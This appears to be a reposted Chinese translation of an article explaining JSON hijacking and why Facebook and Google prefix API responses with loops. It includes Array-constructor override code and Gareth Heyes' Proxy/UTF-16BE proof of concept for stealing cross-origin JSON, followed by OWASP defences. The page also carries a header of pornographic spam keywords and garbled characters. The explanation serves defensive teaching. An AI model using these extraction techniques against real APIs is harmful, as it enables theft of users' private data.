日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

为什么Facebook的API以一个循环作为开头?

發(fā)布時(shí)間:2023/11/29 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 为什么Facebook的API以一个循环作为开头? 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

作者 | Antony Garand

譯者 | 無明

如果你有在瀏覽器中查看過發(fā)給大公司 API 的請(qǐng)求,你可能會(huì)注意到,JSON 前面會(huì)有一些奇怪的 JavaScript:


為什么他們會(huì)用這幾個(gè)字節(jié)來讓 JSON 失效?

為了保護(hù)你的數(shù)據(jù)

如果沒有這些字節(jié),那么有可能任何網(wǎng)站都可以訪問這些數(shù)據(jù)。

這個(gè)漏洞被稱為 JSON 劫持:

https://lmddgtfy.net/?q=JSON%20hijacking

也就是網(wǎng)站可以從這些 API 中提取 JSON 數(shù)據(jù)。

起 源

在 JavaScript 1.5 及更早版本中,可以覆蓋原始類型對(duì)象的構(gòu)造函數(shù),并使用括號(hào)調(diào)用覆蓋的版本。

你可以這樣:

function Array(){
alert('You created an array!');
}
var x = [1,2,3];

這樣就會(huì)彈出 alert!

使用以下腳本替換 var x,攻擊者就可以閱讀你的電子郵件!

這是通過在加載外部腳本之前覆蓋 Array 構(gòu)造函數(shù)來實(shí)現(xiàn)的。

<script src="https://gmail.com/messages"></script>

數(shù)據(jù)提取

即使你重載了構(gòu)造函數(shù),仍然可以通過 this 來訪問它。

這是一個(gè)代碼片段,它將 alert 數(shù)組的所有數(shù)據(jù):

function Array() {
var that = this;
var index = 0;
// Populating the array with setters, which dump the value when called
var valueExtractor = function(value) {
// Alert the value
alert(value);
// Set the next index to use this method as well
that.__defineSetter__(index.toString(),valueExtractor );
index++;
};
// Set the setter for item 0
that.__defineSetter__(index.toString(),valueExtractor );
index++;
}

在創(chuàng)建數(shù)組后,它們的值將被 alert 出來!

ECMAScript 4 提案中已修復(fù)了這個(gè)問題,我們現(xiàn)在無法再覆蓋大多數(shù)原始類型的原型,例如 Object 和 Array。

盡管 ES4 從未發(fā)布,但主要瀏覽器在發(fā)現(xiàn)后很快就修復(fù)了這個(gè)漏洞。

在今天的 JavaScript 中,你仍然可以使用類似的行為,但它受限于你創(chuàng)建的變量,或者不使用括號(hào)創(chuàng)建的對(duì)象。

這是之前的一個(gè)修訂版本:

// Making an array
const x = [];
// Making the overriden methods
x.copy = [];
const extractor = (v) => {
// Keeping the value in a different array
x.copy.push(v);
// Setting the extractor for the next value
const currentIndex = x.copy.length;
x.__defineSetter__(currentIndex, extractor);
x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
// Logging the value
console.log('Extracted value', v);
};
// Assigning the setter on index 0
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';
x[1] = 'one';
console.log(x[0]);
console.log(x[1]);

這是一個(gè)使用 Array 關(guān)鍵字創(chuàng)建數(shù)組的版本:

function Array(){
console.log(arguments);
}
Array("secret","values");

如你所見,你添加到數(shù)組中的數(shù)據(jù)被記錄下來,但功能保持不變!

修復(fù)方案并沒有阻止使用 Array 來創(chuàng)建數(shù)組,而是在使用括號(hào)創(chuàng)建對(duì)象時(shí)強(qiáng)制使用原生實(shí)現(xiàn),而不是自定義函數(shù)。

這意味著我們?nèi)匀豢梢詣?chuàng)建一個(gè) Array 函數(shù),但不能與方括號(hào)([1,2,3])一起使用。

如果我們使用 x = new Array(1,2,3) 或 x = Array(1,2,3),它仍將被調(diào)用,但不會(huì)給 JSON 劫持留下可趁之機(jī)。

新的變體

我們知道舊版本的瀏覽器很容易受到這個(gè)漏洞的攻擊,那么現(xiàn)在呢?

隨著最近 EcmaScript 6 的發(fā)布,添加了很多新功能,例如 Proxies!

來自 Portswigger 的 Gareth Heyes 在博客(https://portswigger.net/blog/json-hijacking-for-the-modern-web)上介紹了這個(gè)漏洞的新變體,它仍然允許我們從 JSON 端點(diǎn)竊取數(shù)據(jù)!

通過使用 Proxies(而不是 Accessor),我們可以竊取到任意創(chuàng)建的變量,無論它的名稱是什么。

它可以像 Accessor 一樣,但可以訪問任意可訪問或?qū)懭雽傩浴?/p>

使用這個(gè)和另外一個(gè)技巧,就可以再次竊取數(shù)據(jù)!

UTF-16BE 是一個(gè)多字節(jié)字符集,一個(gè)字符由兩個(gè)字節(jié)組成。例如,如果你的腳本以 [“作為開頭,它將被視為字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一個(gè)有效的 JavaScript 變量 =)。

使用這個(gè)腳本:

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

通過使用這個(gè)腳本中的一些受控?cái)?shù)據(jù)和移位腳本,我們就可以再次滲透數(shù)據(jù)!

這是 Gareth 最后的 POC,摘自他的博文:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

我不會(huì)深入解釋這個(gè)方法,而是建議你閱讀他的帖子,以獲取更多信息。

預(yù) 防

以下是 OWASP 的官方建議:

https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside

  • 使用 CSRF 保護(hù),如果不存在安全標(biāo)頭或 csrf 令牌,就不返回?cái)?shù)據(jù),以防止被利用。
  • 始終將 JSON 作為對(duì)象返回。

最后的解決方案很有趣。

在 Firefox 和 IE 中,這個(gè)是有效的:

x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}

但這樣不行:

{"key":"value"}

它之所以無效是因?yàn)?Firefox 和 IE 認(rèn)為括號(hào)是塊語句的開頭,而不是創(chuàng)建對(duì)象。

沒有引號(hào)的符號(hào){key:“value”}被視為標(biāo)簽,值被視為一個(gè)語句。

結(jié) 論

雖然這些東西在今天可能是無效的,但我們永遠(yuǎn)不會(huì)知道明天將會(huì)帶來什么新的錯(cuò)誤,因此我們?nèi)詰?yīng)盡力阻止 API 被利用。

如果我們把這個(gè) StackOverflow 答案視為理所當(dāng)然,我們就很容易受到現(xiàn)代變體的影響,因此仍然可能被黑客入侵:

https://stackoverflow.com/questions/16289894/is-json-hijacking-still-an-issue-in-modern-browsers

谷歌和 Facebook 在 JSON 數(shù)據(jù)之前添加無效的 JavaScript 或無限循環(huán),OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

本文彩蛋

硅谷一直以其“不斷創(chuàng)新、鼓勵(lì)冒險(xiǎn)、包容失敗、崇尚競爭、平等開放”的文化聞名于世。許多公司從一個(gè)靈感迸發(fā)的火苗,在這里長成參天大樹,Facebook 正是其中典范。究竟硅谷公司里有哪些令人著迷的工程師文化,可以讓人管中窺豹略見一斑呢?關(guān)注微信公眾號(hào)InfoQ 并后臺(tái)回復(fù)關(guān)鍵詞:硅谷1,獲取一篇以 Facebook 為例的項(xiàng)目開發(fā)流程和工程師的績效管理機(jī)制文章。

總結(jié)

以上是生活随笔為你收集整理的为什么Facebook的API以一个循环作为开头?的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。